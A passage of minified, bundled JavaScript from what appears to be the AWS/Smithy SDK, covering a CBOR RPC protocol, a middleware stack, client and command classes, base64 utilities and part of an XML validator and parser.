Object.keys(K)){let J=this.readValue(w,K[H]);if(J!=null||z)Y[H]=J}}else if(q.isStructSchema())for(let[z,w]of q.structIterator()){let H=this.readValue(w,K[z]);if(H!=null)Y[z]=H}return Y}else return K}}class OQ8 extends BCA.RpcProtocol{codec=new Vn1;serializer=this.codec.createSerializer();deserializer=this.codec.createDeserializer();constructor({defaultNamespace:A}){super({defaultNamespace:A})}getShapeId(){return"smithy.protocols#rpcv2Cbor"}getPayloadCodec(){return this.codec}async serializeRequest(A,K,q){let Y=await super.serializeRequest(A,K,q);if(Object.assign(Y.headers,{"content-type":this.getDefaultContentType(),"smithy-protocol":"rpc-v2-cbor",accept:this.getDefaultContentType()}),wOA.deref(A.input)==="unit")delete Y.body,delete Y.headers["content-type"];else{if(!Y.body)this.serializer.write(15,{}),Y.body=this.serializer.flush();try{Y.headers["content-length"]=String(Y.body.byteLength)}catch(J){}}let{service:z,operation:w}=Tf5.getSmithyContext(q),H=`/service/${z}/operation/${w}`;if(Y.path.endsWith("/"))Y.path+=H.slice(1);else Y.path+=H;return Y}async deserializeResponse(A,K,q){return super.deserializeResponse(A,K,q)}async handleError(A,K,q,Y,z){let w=JQ8(q,Y)??"Unknown",H=this.options.defaultNamespace;if(w.includes("#"))[H]=w.split("#");let J={$metadata:z,$fault:q.statusCode<=500?"client":"server"},O=wOA.TypeRegistry.for(H),X;try{X=O.getSchema(w)}catch(D){if(Y.Message)Y.message=Y.Message;let j=wOA.TypeRegistry.for("smithy.ts.sdk.synthetic."+H),M=j.getBaseException();if(M){let P=j.getErrorCtor(M);throw Object.assign(new P({name:w}),J,Y)}throw Object.assign(Error(w),J,Y)}let $=wOA.NormalizedSchema.of(X),_=O.getErrorCtor(X),G=Y.message??Y.Message??"Unknown",Z=new _(G),W={};for(let[D,j]of $.structIterator())W[D]=this.deserializer.readValue(j,Y[D]);throw Object.assign(Z,J,{$fault:$.getMergedTraits().error,message:G},W)}getDefaultContentType(){return"application/cbor"}}pf5.CborCodec=Vn1;pf5.CborShapeDeserializer=Nn1;pf5.CborShapeSerializer=fn1;pf5.SmithyRpcV2CborProtocol=OQ8;pf5.buildHttpRpcRequest=Uf5;pf5.cbor=c61;pf5.checkCborResponse=Qf5;pf5.dateToTag=Q61;pf5.loadSmithyRpcV2CborErrorCode=JQ8;pf5.parseCborBody=HQ8;pf5.parseCborErrorBody=Ff5;pf5.tag=Mn1;pf5.tagSymbol=jn1});var Fb=v((qN5)=>{var t6A=(A,K)=>{let q=[];if(A)q.push(A);if(K)for(let Y of K)q.push(Y);return q},si=(A,K)=>{return`${A||"anonymous"}${K&&K.length>0?` (a.k.a. ${K.join(",")})`:""}`},vn1=()=>{let A=[],K=[],q=!1,Y=new Set,z=(_)=>_.sort((G,Z)=>XQ8[Z.step]-XQ8[G.step]||$Q8[Z.priority||"normal"]-$Q8[G.priority||"normal"]),w=(_)=>{let G=!1,Z=(W)=>{let D=t6A(W.name,W.aliases);if(D.includes(_)){G=!0;for(let j of D)Y.delete(j);return!1}return!0};return A=A.filter(Z),K=K.filter(Z),G},H=(_)=>{let G=!1,Z=(W)=>{if(W.middleware===_){G=!0;for(let D of t6A(W.name,W.aliases))Y.delete(D);return!1}return!0};return A=A.filter(Z),K=K.filter(Z),G},J=(_)=>{return A.forEach((G)=>{_.add(G.middleware,{...G})}),K.forEach((G)=>{_.addRelativeTo(G.middleware,{...G})}),_.identifyOnResolve?.($.identifyOnResolve()),_},O=(_)=>{let G=[];return _.before.forEach((Z)=>{if(Z.before.length===0&&Z.after.length===0)G.push(Z);else G.push(...O(Z))}),G.push(_),_.after.reverse().forEach((Z)=>{if(Z.before.length===0&&Z.after.length===0)G.push(Z);else G.push(...O(Z))}),G},X=(_=!1)=>{let G=[],Z=[],W={};return A.forEach((j)=>{let M={...j,before:[],after:[]};for(let P of t6A(M.name,M.aliases))W[P]=M;G.push(M)}),K.forEach((j)=>{let M={...j,before:[],after:[]};for(let P of t6A(M.name,M.aliases))W[P]=M;Z.push(M)}),Z.forEach((j)=>{if(j.toMiddleware){let M=W[j.toMiddleware];if(M===void 0){if(_)return;throw Error(`${j.toMiddleware} is not found when adding ${si(j.name,j.aliases)} middleware ${j.relation} ${j.toMiddleware}`)}if(j.relation==="after")M.after.push(j);if(j.relation==="before")M.before.push(j)}}),z(G).map(O).reduce((j,M)=>{return j.push(...M),j},[])},$={add:(_,G={})=>{let{name:Z,override:W,aliases:D}=G,j={step:"initialize",priority:"normal",middleware:_,...G},M=t6A(Z,D);if(M.length>0){if(M.some((P)=>Y.has(P))){if(!W)throw Error(`Duplicate middleware name '${si(Z,D)}'`);for(let P of M){let f=A.findIndex((T)=>T.name===P||T.aliases?.some((C)=>C===P));if(f===-1)continue;let N=A[f];if(N.step!==j.step||j.priority!==N.priority)throw Error(`"${si(N.name,N.aliases)}" middleware with ${N.priority} priority in ${N.step} step cannot be overridden by "${si(Z,D)}" middleware with ${j.priority} priority in ${j.step} step.`);A.splice(f,1)}}for(let P of M)Y.add(P)}A.push(j)},addRelativeTo:(_,G)=>{let{name:Z,override:W,aliases:D}=G,j={middleware:_,...G},M=t6A(Z,D);if(M.length>0){if(M.some((P)=>Y.has(P))){if(!W)throw Error(`Duplicate middleware name '${si(Z,D)}'`);for(let P of M){let f=K.findIndex((T)=>T.name===P||T.aliases?.some((C)=>C===P));if(f===-1)continue;let N=K[f];if(N.toMiddleware!==j.toMiddleware||N.relation!==j.relation)throw Error(`"${si(N.name,N.aliases)}" middleware ${N.relation} "${N.toMiddleware}" middleware cannot be overridden by "${si(Z,D)}" middleware ${j.relation} "${j.toMiddleware}" middleware.`);K.splice(f,1)}}for(let P of M)Y.add(P)}K.push(j)},clone:()=>J(vn1()),use:(_)=>{_.applyToStack($)},remove:(_)=>{if(typeof _==="string")return w(_);else return H(_)},removeByTag:(_)=>{let G=!1,Z=(W)=>{let{tags:D,name:j,aliases:M}=W;if(D&&D.includes(_)){let P=t6A(j,M);for(let f of P)Y.delete(f);return G=!0,!1}return!0};return A=A.filter(Z),K=K.filter(Z),G},concat:(_)=>{let G=J(vn1());return G.use(_),G.identifyOnResolve(q||G.identifyOnResolve()||(_.identifyOnResolve?.()??!1)),G},applyToStack:J,identify:()=>{return X(!0).map((_)=>{let G=_.step??_.relation+" "+_.toMiddleware;return si(_.name,_.aliases)+" - "+G})},identifyOnResolve(_){if(typeof _==="boolean")q=_;return q},resolve:(_,G)=>{for(let Z of X().map((W)=>W.middleware).reverse())_=Z(_,G);if(q)console.log($.identify());return _}};return $},XQ8={initialize:5,serialize:4,build:3,finalizeRequest:2,deserialize:1},$Q8={high:3,normal:2,low:1};qN5.constructStack=vn1});var In1=v((OOA)=>{var ZQ8=Fb(),Rn1=VV(),kn1=ni1(),zN5=DJ(),_Q8=PV();class WQ8{config;middlewareStack=ZQ8.constructStack();initConfig;handlers;constructor(A){this.config=A}send(A,K,q){let Y=typeof K!=="function"?K:void 0,z=typeof K==="function"?K:q,w=Y===void 0&&this.config.cacheMiddleware===!0,H;if(w){if(!this.handlers)this.handlers=new WeakMap;let J=this.handlers;if(J.has(A.constructor))H=J.get(A.constructor);else H=A.resolveMiddleware(this.middlewareStack,this.config,Y),J.set(A.constructor,H)}else delete this.handlers,H=A.resolveMiddleware(this.middlewareStack,this.config,Y);if(z)H(A).then((J)=>z(null,J.output),(J)=>z(J)).catch(()=>{});else return H(A).then((J)=>J.output)}destroy(){this.config?.requestHandler?.destroy?.(),delete this.handlers}}var En1="***SensitiveInformation***";function Cn1(A,K){if(K==null)return K;let q=zN5.NormalizedSchema.of(A);if(q.getMergedTraits().sensitive)return En1;if(q.isListSchema()){if(!!q.getValueSchema().getMergedTraits().sensitive)return En1}else if(q.isMapSchema()){if(!!q.getKeySchema().getMergedTraits().sensitive||!!q.getValueSchema().getMergedTraits().sensitive)return En1}else if(q.isStructSchema()&&typeof K==="object"){let Y=K,z={};for(let[w,H]of q.structIterator())if(Y[w]!=null)z[w]=Cn1(H,Y[w]);return z}return K}class yn1{middlewareStack=ZQ8.constructStack();schema;static classBuilder(){return new DQ8}resolveMiddlewareWithContext(A,K,q,{middlewareFn:Y,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,smithyContext:O,additionalContext:X,CommandCtor:$}){for(let D of Y.bind(this)($,A,K,q))this.middlewareStack.use(D);let _=A.concat(this.middlewareStack),{logger:G}=K,Z={logger:G,clientName:z,commandName:w,inputFilterSensitiveLog:H,outputFilterSensitiveLog:J,[kn1.SMITHY_CONTEXT_KEY]:{commandInstance:this,...O},...X},{requestHandler:W}=K;return _.resolve((D)=>W.handle(D.request,q||{}),Z)}}class DQ8{_init=()=>{};_ep={};_middlewareFn=()=>[];_commandName="";_clientName="";_additionalContext={};_smithyContext={};_inputFilterSensitiveLog=void 0;_outputFilterSensitiveLog=void 0;_serializer=null;_deserializer=null;_operationSchema;init(A){this._init=A}ep(A){return this._ep=A,this}m(A){return this._middlewareFn=A,this}s(A,K,q={}){return this._smithyContext={service:A,operation:K,...q},this}c(A={}){return this._additionalContext=A,this}n(A,K){return this._clientName=A,this._commandName=K,this}f(A=(q)=>q,K=(q)=>q){return this._inputFilterSensitiveLog=A,this._outputFilterSensitiveLog=K,this}ser(A){return this._serializer=A,this}de(A){return this._deserializer=A,this}sc(A){return this._operationSchema=A,this._smithyContext.operationSchema=A,this}build(){let A=this,K;return K=class extends yn1{input;static getEndpointParameterInstructions(){return A._ep}constructor(...[q]){super();this.input=q??{},A._init(this),this.schema=A._operationSchema}resolveMiddleware(q,Y,z){let w=A._operationSchema,H=w?.[4]??w?.input,J=w?.[5]??w?.output;return this.resolveMiddlewareWithContext(q,Y,z,{CommandCtor:K,middlewareFn:A._middlewareFn,clientName:A._clientName,commandName:A._commandName,inputFilterSensitiveLog:A._inputFilterSensitiveLog??(w?Cn1.bind(null,H):(O)=>O),outputFilterSensitiveLog:A._outputFilterSensitiveLog??(w?Cn1.bind(null,J):(O)=>O),smithyContext:A._smithyContext,additionalContext:A._additionalContext})}serialize=A._serializer;deserialize=A._deserializer}}}var wN5="***SensitiveInformation***",HN5=(A,K)=>{for(let q of Object.keys(A)){let Y=A[q],z=async function(H,J,O){let X=new Y(H);if(typeof J==="function")this.send(X,J);else if(typeof O==="function"){if(typeof J!=="object")throw Error(`Expected http options but got ${typeof J}`);this.send(X,J||{},O)}else return this.send(X,J)},w=(q[0].toLowerCase()+q.slice(1)).replace(/Command$/,"");K.prototype[w]=z}};class JOA extends Error{$fault;$response;$retryable;$metadata;constructor(A){super(A.message);Object.setPrototypeOf(this,Object.getPrototypeOf(this).constructor.prototype),this.name=A.name,this.$fault=A.$fault,this.$metadata=A.$metadata}static isInstance(A){if(!A)return!1;let K=A;return JOA.prototype.isPrototypeOf(K)||Boolean(K.$fault)&&Boolean(K.$metadata)&&(K.$fault==="client"||K.$fault==="server")}static[Symbol.hasInstance](A){if(!A)return!1;let K=A;if(this===JOA)return JOA.isInstance(A);if(JOA.isInstance(A)){if(K.name&&this.name)return this.prototype.isPrototypeOf(A)||K.name===this.name;return this.prototype.isPrototypeOf(A)}return!1}}var jQ8=(A,K={})=>{Object.entries(K).filter(([,Y])=>Y!==void 0).forEach(([Y,z])=>{if(A[Y]==null||A[Y]==="")A[Y]=z});let q=A.message||A.Message||"UnknownError";return A.message=q,delete A.Message,A},MQ8=({output:A,parsedBody:K,exceptionCtor:q,errorCode:Y})=>{let z=ON5(A),w=z.httpStatusCode?z.httpStatusCode+"":void 0,H=new q({name:K?.code||K?.Code||Y||w||"UnknownError",$fault:"client",$metadata:z});throw jQ8(H,K)},JN5=(A)=>{return({output:K,parsedBody:q,errorCode:Y})=>{MQ8({output:K,parsedBody:q,exceptionCtor:A,errorCode:Y})}},ON5=(A)=>({httpStatusCode:A.statusCode,requestId:A.headers["x-amzn-requestid"]??A.headers["x-amzn-request-id"]??A.headers["x-amz-request-id"],extendedRequestId:A.headers["x-amz-id-2"],cfId:A.headers["x-amz-cf-id"]}),XN5=(A)=>{switch(A){case"standard":return{retryMode:"standard",connectionTimeout:3100};case"in-region":return{retryMode:"standard",connectionTimeout:1100};case"cross-region":return{retryMode:"standard",connectionTimeout:3100};case"mobile":return{retryMode:"standard",connectionTimeout:30000};default:return{}}},GQ8=!1,$N5=(A)=>{if(A&&!GQ8&&parseInt(A.substring(1,A.indexOf(".")))<16)GQ8=!0},_N5=(A)=>{let K=[];for(let q in kn1.AlgorithmId){let Y=kn1.AlgorithmId[q];if(A[Y]===void 0)continue;K.push({algorithmId:()=>Y,checksumConstructor:()=>A[Y]})}return{addChecksumAlgorithm(q){K.push(q)},checksumAlgorithms(){return K}}},GN5=(A)=>{let K={};return A.checksumAlgorithms().forEach((q)=>{K[q.algorithmId()]=q.checksumConstructor()}),K},ZN5=(A)=>{return{setRetryStrategy(K){A.retryStrategy=K},retryStrategy(){return A.retryStrategy}}},WN5=(A)=>{let K={};return K.retryStrategy=A.retryStrategy(),K},PQ8=(A)=>{return Object.assign(_N5(A),ZN5(A))},DN5=PQ8,jN5=(A)=>{return Object.assign(GN5(A),WN5(A))},MN5=(A)=>Array.isArray(A)?A:[A],VQ8=(A)=>{for(let q in A)if(A.hasOwnProperty(q)&&A[q]["#text"]!==void 0)A[q]=A[q]["#text"];else if(typeof A[q]==="object"&&A[q]!==null)A[q]=VQ8(A[q]);return A},PN5=(A)=>{return A!=null};class fQ8{trace(){}debug(){}info(){}warn(){}error(){}}function NQ8(A,K,q){let Y,z,w;if(typeof K>"u"&&typeof q>"u")Y={},w=A;else if(Y=A,typeof K==="function")return z=K,w=q,NN5(Y,z,w);else w=K;for(let H of Object.keys(w)){if(!Array.isArray(w[H])){Y[H]=w[H];continue}TQ8(Y,null,w,H)}return Y}var VN5=(A)=>{let K={};for(let[q,Y]of Object.entries(A||{}))K[q]=[,Y];return K},fN5=(A,K)=>{let q={};for(let Y in K)TQ8(q,A,K,Y);return q},NN5=(A,K,q)=>{return NQ8(A,Object.entries(q).reduce((Y,[z,w])=>{if(Array.isArray(w))Y[z]=w;else if(typeof w==="function")Y[z]=[K,w()];else Y[z]=[K,w];return Y},{}))},TQ8=(A,K,q,Y)=>{if(K!==null){let H=q[Y];if(typeof H==="function")H=[,H];let[J=TN5,O=vN5,X=Y]=H;if(typeof J==="function"&&J(K[X])||typeof J!=="function"&&!!J)A[Y]=O(K[X]);return}let[z,w]=q[Y];if(typeof w==="function"){let H,J=z===void 0&&(H=w())!=null,O=typeof z==="function"&&!!z(void 0)||typeof z!=="function"&&!!z;if(J)A[Y]=H;else if(O)A[Y]=w()}else{let H=z===void 0&&w!=null,J=typeof z==="function"&&!!z(w)||typeof z!=="function"&&!!z;if(H||J)A[Y]=w}},TN5=(A)=>A!=null,vN5=(A)=>A,EN5=(A)=>{if(A!==A)return"NaN";switch(A){case 1/0:return"Infinity";case-1/0:return"-Infinity";default:return A}},kN5=(A)=>A.toISOString().replace(".000Z","Z"),Ln1=(A)=>{if(A==null)return{};if(Array.isArray(A))return A.filter((K)=>K!=null).map(Ln1);if(typeof A==="object"){let K={};for(let q of Object.keys(A)){if(A[q]==null)continue;K[q]=Ln1(A[q])}return K}return A};Object.defineProperty(OOA,"collectBody",{enumerable:!0,get:function(){return Rn1.collectBody}});Object.defineProperty(OOA,"extendedEncodeURIComponent",{enumerable:!0,get:function(){return Rn1.extendedEncodeURIComponent}});Object.defineProperty(OOA,"resolvedPath",{enumerable:!0,get:function(){return Rn1.resolvedPath}});OOA.Client=WQ8;OOA.Command=yn1;OOA.NoOpLogger=fQ8;OOA.SENSITIVE_STRING=wN5;OOA.ServiceException=JOA;OOA._json=Ln1;OOA.convertMap=VN5;OOA.createAggregatedClient=HN5;OOA.decorateServiceException=jQ8;OOA.emitWarningIfUnsupportedVersion=$N5;OOA.getArrayIfSingleItem=MN5;OOA.getDefaultClientConfiguration=DN5;OOA.getDefaultExtensionConfiguration=PQ8;OOA.getValueFromTextNode=VQ8;OOA.isSerializableHeaderValue=PN5;OOA.loadConfigsForDefaultMode=XN5;OOA.map=NQ8;OOA.resolveDefaultRuntimeConfig=jN5;OOA.serializeDateTime=kN5;OOA.serializeFloat=EN5;OOA.take=fN5;OOA.throwDefaultError=MQ8;OOA.withBaseException=JN5;Object.keys(_Q8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(OOA,A))Object.defineProperty(OOA,A,{enumerable:!0,get:function(){return _Q8[A]}})})});var vQ8=v((aN5)=>{var oN5=(A)=>typeof ArrayBuffer==="function"&&A instanceof ArrayBuffer||Object.prototype.toString.call(A)==="[object ArrayBuffer]";aN5.isArrayBuffer=oN5});var hn1=v((KT5)=>{var tN5=vQ8(),Sn1=CA("buffer"),eN5=(A,K=0,q=A.byteLength-K)=>{if(!tN5.isArrayBuffer(A))throw TypeError(`The "input" argument must be ArrayBuffer. Received type ${typeof A} (${A})`);return Sn1.Buffer.from(A,K,q)},AT5=(A,K)=>{if(typeof A!=="string")throw TypeError(`The "input" argument must be of type string. Received type ${typeof A} (${A})`);return K?Sn1.Buffer.from(A,K):Sn1.Buffer.from(A)};KT5.fromArrayBuffer=eN5;KT5.fromString=AT5});var CQ8=v((EQ8)=>{Object.defineProperty(EQ8,"__esModule",{value:!0});EQ8.fromBase64=void 0;var zT5=hn1(),wT5=/^[A-Za-z0-9+/]*={0,2}$/,HT5=(A)=>{if(A.length*3%4!==0)throw TypeError("Incorrect padding on base64 string.");if(!wT5.exec(A))throw TypeError("Invalid base64 string.");let K=(0,zT5.fromString)(A,"base64");return new Uint8Array(K.buffer,K.byteOffset,K.byteLength)};EQ8.fromBase64=HT5});var yQ8=v((LQ8)=>{Object.defineProperty(LQ8,"__esModule",{value:!0});LQ8.toBase64=void 0;var JT5=hn1(),OT5=_z(),XT5=(A)=>{let K;if(typeof A==="string")K=(0,OT5.fromUtf8)(A);else K=A;if(typeof K!=="object"||typeof K.byteOffset!=="number"||typeof K.byteLength!=="number")throw Error("@smithy/util-base64: toBase64 encoder function only accepts string | Uint8Array.");return(0,JT5.fromArrayBuffer)(K.buffer,K.byteOffset,K.byteLength).toString("base64")};LQ8.toBase64=XT5});var bn1=v((gCA)=>{var IQ8=CQ8(),SQ8=yQ8();Object.keys(IQ8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(gCA,A))Object.defineProperty(gCA,A,{enumerable:!0,get:function(){return IQ8[A]}})});Object.keys(SQ8).forEach(function(A){if(A!=="default"&&!Object.prototype.hasOwnProperty.call(gCA,A))Object.defineProperty(gCA,A,{enumerable:!0,get:function(){return SQ8[A]}})})});var bQ8=v((Ntz,hQ8)=>{(()=>{var A={d:(DA,EA)=>{for(var rA in EA)A.o(EA,rA)&&!A.o(DA,rA)&&Object.defineProperty(DA,rA,{enumerable:!0,get:EA[rA]})},o:(DA,EA)=>Object.prototype.hasOwnProperty.call(DA,EA),r:(DA)=>{typeof Symbol<"u"&&Symbol.toStringTag&&Object.defineProperty(DA,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(DA,"__esModule",{value:!0})}},K={};A.r(K),A.d(K,{XMLBuilder:()=>$1,XMLParser:()=>iA,XMLValidator:()=>w6});let q=":A-Za-z_\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD",Y=new RegExp("^["+q+"]["+q+"\\-.\\d\\u00B7\\u0300-\\u036F\\u203F-\\u2040]*$");function z(DA,EA){let rA=[],J1=EA.exec(DA);for(;J1;){let aA=[];aA.startIndex=EA.lastIndex-J1[0].length;let z1=J1.length;for(let f1=0;f1<z1;f1++)aA.push(J1[f1]);rA.push(aA),J1=EA.exec(DA)}return rA}let w=function(DA){return Y.exec(DA)!=null},H={allowBooleanAttributes:!1,unpairedTags:[]};function J(DA,EA){EA=Object.assign({},H,EA);let rA=[],J1=!1,aA=!1;DA[0]==="\uFEFF"&&(DA=DA.substr(1));for(let z1=0;z1<DA.length;z1++)if(DA[z1]==="<"&&DA[z1+1]==="?"){if(z1+=2,z1=X(DA,z1),z1.err)return z1}else{if(DA[z1]!=="<"){if(O(DA[z1]))continue;return M("InvalidChar","char '"+DA[z1]+"' is not expected.",f(DA,z1))}{let f1=z1;if(z1++,DA[z1]==="!"){z1=$(DA,z1);continue}{let T1=!1;DA[z1]==="/"&&(T1=!0,z1++);let K6="";for(;z1<DA.length&&DA[z1]!==">"&&DA[z1]!==" "&&DA[z1]!=="\t"&&DA[z1]!==` `&&DA[z1]!=="\r";z1++)K6+=DA[z1];if(K6=K6.trim(),K6[K6.length-1]==="/"&&(K6=K6.substring(0,K6.length-1),z1--),!w(K6)){let D8;return D8=K6.trim().length===0?"Invalid space after '<'.":"Tag '"+K6+"' is an invalid name.",M("InvalidTag",D8,f(DA,z1))}let U6=Z(DA,z1);if(U6===!1)return M("InvalidAttr","Attributes for '"+K6+"' have open quote.",f(DA,z1));let e8=U6.value;if(z1=U6.index,e8[e8.length-1]==="/"){let D8=z1-e8.length;e8=e8.substring(0,e8.length-1);let Y7=D(e8,EA);if(Y7!==!0)return M(Y7.err.code,Y7.err.msg,f(DA,D8+Y7.err.line));J1=!0}else if(T1){if(!U6.tagClosed)return M("InvalidTag","Closing tag '"+K6+"' doesn't have proper closing.",f(DA,z1));if(e8.trim().length>0)return M("InvalidTag","Closing tag '"+K6+"' can't have attributes or invalid starting.",f(DA,f1));if(rA.length===0)return M("InvalidTag","Closing tag '"+K6+"' has not been opened.",f(DA,f1));{let D8=rA.pop();if(K6!==D8.tagName){let Y7=f(DA,D8.tagStartPos);return M("InvalidTag","Expected closing tag '"+D8.tagName+"' (opened in line "+Y7.line+", col "+Y7.col+") instead of closing tag '"+K6+"'.",f(DA,f1))}rA.length==0&&(aA=!0)}}else{let D8=D(e8,EA);if(D8!==!0)return M(D8.err.code,D8.err.msg,f(DA,z1-e8.length+D8.err.line));if(aA===!0)return M("InvalidXml","Multiple possible root nodes found.",f(DA,z1));EA.unpairedTags.indexOf(K6)!==-1||rA.push({tagName:K6,tagStartPos:f1}),J1=!0}for(z1++;z1<DA.length;z1++)if(DA[z1]==="<"){if(DA[z1+1]==="!"){z1++,z1=$(DA,z1);continue}if(DA[z1+1]!=="?")break;if(z1=X(DA,++z1),z1.err)return z1}else if(DA[z1]==="&"){let D8=j(DA,z1);if(D8==-1)return M("InvalidChar","char '&' is not expected.",f(DA,z1));z1=D8}else if(aA===!0&&!O(DA[z1]))return M("InvalidXml","Extra text at the end",f(DA,z1));DA[z1]==="<"&&z1--}}}return J1?rA.length==1?M("InvalidTag","Unclosed tag '"+rA[0].tagName+"'.",f(DA,rA[0].tagStartPos)):!(rA.length>0)||M("InvalidXml","Invalid '"+JSON.stringify(rA.map((z1)=>z1.tagName),null,4).replace(/\r?\n/g,"")+"' found.",{line:1,col:1}):M("InvalidXml","Start tag expected.",1)}function O(DA){return DA===" "||DA==="\t"||DA===` `||DA==="\r"}function X(DA,EA){let rA=EA;for(;EA<DA.length;EA++)if(DA[EA]!="?"&&DA[EA]!=" ");else{let J1=DA.substr(rA,EA-rA);if(EA>5&&J1==="xml")return M("InvalidXml","XML declaration allowed only at the start of the document.",f(DA,EA));if(DA[EA]=="?"&&DA[EA+1]==">"){EA++;break}}return EA}function $(DA,EA){if(DA.length>EA+5&&DA[EA+1]==="-"&&DA[EA+2]==="-"){for(EA+=3;EA<DA.length;EA++)if(DA[EA]==="-"&&DA[EA+1]==="-"&&DA[EA+2]===">"){EA+=2;break}}else if(DA.length>EA+8&&DA[EA+1]==="D"&&DA[EA+2]==="O"&&DA[EA+3]==="C"&&DA[EA+4]==="T"&&DA[EA+5]==="Y"&&DA[EA+6]==="P"&&DA[EA+7]==="E"){let rA=1;for(EA+=8;EA<DA.length;EA++)if(DA[EA]==="<")rA++;else if(DA[EA]===">"&&(rA--,rA===0))break}else if(DA.length>EA+9&&DA[EA+1]==="["&&DA[EA+2]==="C"&&DA[EA+3]==="D"&&DA[EA+4]==="A"&&DA[EA+5]==="T"&&DA[EA+6]==="A"&&DA[EA+7]==="["){for(EA+=8;EA<DA.length;EA++)if(DA[EA]==="]"&&DA[EA+1]==="]"&&DA[EA+2]===">"){EA+=2;break}}return EA}let _='"',G="'";function Z(DA,EA){let rA="",J1="",aA=!1;for(;EA<DA.length;EA++){if(DA[EA]===_||DA[EA]===G)J1===""?J1=DA[EA]:J1!==DA[EA]||(J1="");else if(DA[EA]===">"&&J1===""){aA=!0;break}rA+=DA[EA]}return J1===""&&{value:rA,index:EA,tagClosed:aA}}let W=new RegExp(`(\\s*)([^\\s=]+)(\\s*=)?(\\s*(['"])(([\\s\\S])*?)\\5)?`,"g");function D(DA,EA){let rA=z(DA,W),J1={};for(let aA=0;aA<rA.length;aA++){if(rA[aA][1].length===0)return M("InvalidAttr","Attribute '"+rA[aA][2]+"' has no space in starting.",N(rA[aA]));if(rA[aA][3]!==void 0&&rA[aA][4]===void 0)return M("InvalidAttr","Attribute '"+rA[aA][2]+"' is without value.",N(rA[aA]));if(rA[aA][3]===void 0&&!EA.allowBooleanAttributes)return M("InvalidAttr","boolean attribute '"+rA[aA][2]+"' is not allowed.",N(rA[aA]));let z1=rA[aA][2];if(!P(z1))return M("InvalidAttr","Attribute '"+z1+"' is an invalid name.",N(rA[aA]));if(J1.hasOwnProperty(z1))return M("InvalidAttr","Attribute '"+z1+"' is repeated.",N(rA[aA]));J1[z1]=1}return!0}function j(DA,EA){if(DA[++EA]===";")return-1;if(DA[EA]==="#")return function(J1,aA){let z1=/\d/;for(J1[aA]==="x"&&(aA++,z1=/[\da-fA-F]/);aA<J1.length;aA++){if(J1[aA]===";")return aA;if(!J1[aA].match(z1))break}return-1}(DA,++EA);let rA=0;for(;EA<DA.length;EA++,rA++)if(!(DA[EA].match(/\w/)&&rA<20)){if(DA[EA]===";")break;return-1}return EA}function M(DA,EA,rA){return{err:{code:DA,msg:EA,line:rA.line||rA,col:rA.col}}}function P(DA){return w(DA)}function f(DA,EA){let rA=DA.substring(0,EA).split(/\r?\n/);return{line:rA.length,col:rA[rA.length-1].length+1}}function N(DA){return DA.startIndex+DA[1].length}let T={preserveOrder:!1,attributeNamePrefix:"@_",attributesGroupName:!1,textNodeName:"#text",ignoreAttributes:!0,removeNSPrefix:!1,allowBooleanAttributes:!1,parseTagValue:!0,parseAttributeValue:!1,trimValues:!0,cdataPropName:!1,numberParseOptions:{hex:!0,leadingZeros:!0,eNotation:!0},tagValueProcessor:function(DA,EA){return EA},attributeValueProcessor:function(DA,EA){return EA},stopNodes:[],alwaysCreateTextNode:!1,isArray:()=>!1,commentPropName:!1,unpairedTags:[],processEntities:!0,htmlEntities:!1,ignoreDeclaration:!1,ignorePiTags:!1,transformTagName:!1,transformAttributeName:!1,updateTag:function(DA,EA,rA){return DA},captureMetaData:!1},C;C=typeof Symbol!="function"?"@@xmlMetadata":Symbol("XML Node Metadata");class R{constructor(DA){this.tagname=DA,this.child=[],this[":@"]={}}add(DA,EA){DA==="__proto__"&&(DA="#__proto__"),this.child.push({[DA]:EA})}addChild(DA,EA){DA.tagname==="__proto__"&&(DA.tagname="#__proto__"),DA[":@"]&&Object.keys(DA[":@"]).length>0?this.child.push({[DA.tagname]:DA.child,":@":DA[":@"]}):this.child.push({[DA.tagname]:DA.child}),EA!==void 0&&(this.child[this.child.length-1][C]={startIndex:EA})}static getMetaDataSymbol(){return C}}function x(DA,EA){let rA={};if(DA[EA+3]!=="O"||DA[EA+4]!=="C"||DA[EA+5]!=="T"||DA[EA+6]!=="Y"||DA[EA+7]!=="P"||DA[EA+8]!=="E")throw Error("Invalid Tag instead of DOCTYPE");{EA+=9;let J1=1,aA=!1,z1=!1,f1="";for(;EA<DA.length;EA++)if(DA[EA]!=="<"||z1)if(DA[EA]===">"){if(z1?DA[EA-1]==="-"&&DA[EA-2]==="-"&&(z1=!1,J1--):J1--,J1===0)break}else DA[EA]==="["?aA=!0:f1+=DA[EA];else{if(aA&&u(DA,"!ENTITY",EA)){let T1,K6;EA+=7,[T1,K6,EA]=B(DA,EA+1),K6.indexOf("&")===-1&&(rA[T1]={regx:RegExp(`&${T1};`,"g"),val:K6})}else if(aA&&u(DA,"!ELEMENT",EA)){EA+=8;let{index:T1}=Q(DA,EA+1);EA=T1}else if(aA&&u(DA,"!ATTLIST",EA))EA+=8;else if(aA&&u(DA,"!NOTATION",EA)){EA+=9;let{index:T1}=b(DA,EA+1);EA=T1}else{if(!u(DA,"!--",EA))throw Error("Invalid DOCTYPE");z1=!0}J1++,f1=""}if(J1!==0)throw Error("Unclosed DOCTYPE")}return{entities:rA,i:EA}}let y=(DA,EA)=>{for(;EA<DA.length&&/\s/.test(DA[EA]);)EA++;return EA};function B(DA,EA){EA=y(DA,EA);let rA="";for(;EA<DA.length&&!/\s/.test(DA[EA])&&DA[EA]!=='"'&&DA[EA]!=="'";)rA+=DA[EA],EA++;if(d(rA),EA=y(DA,EA),DA.substring(EA,EA+6).toUpperCase()==="SYSTEM")throw Error("External entities are not supported");if(DA[EA]==="%")throw Error("Parameter entities are not supported");let J1="";return[EA,J1]=F(DA,EA,"entity"),[rA,J1,--EA]}function b(DA,EA){EA=y(DA,EA);let rA="";for(;EA<DA.length&&!/\s/.test(DA[EA]);)rA+=DA[EA],EA++;d(rA),EA=y(DA,EA);let J1=DA.substring(EA,EA+6).toUpperCase();if(J1!=="SYSTEM"&&J1!=="PUBLIC")throw Error(`Expected SYSTEM or PUBLIC, found "${J1}"`);EA+=J1.length,EA=y(DA,EA);let 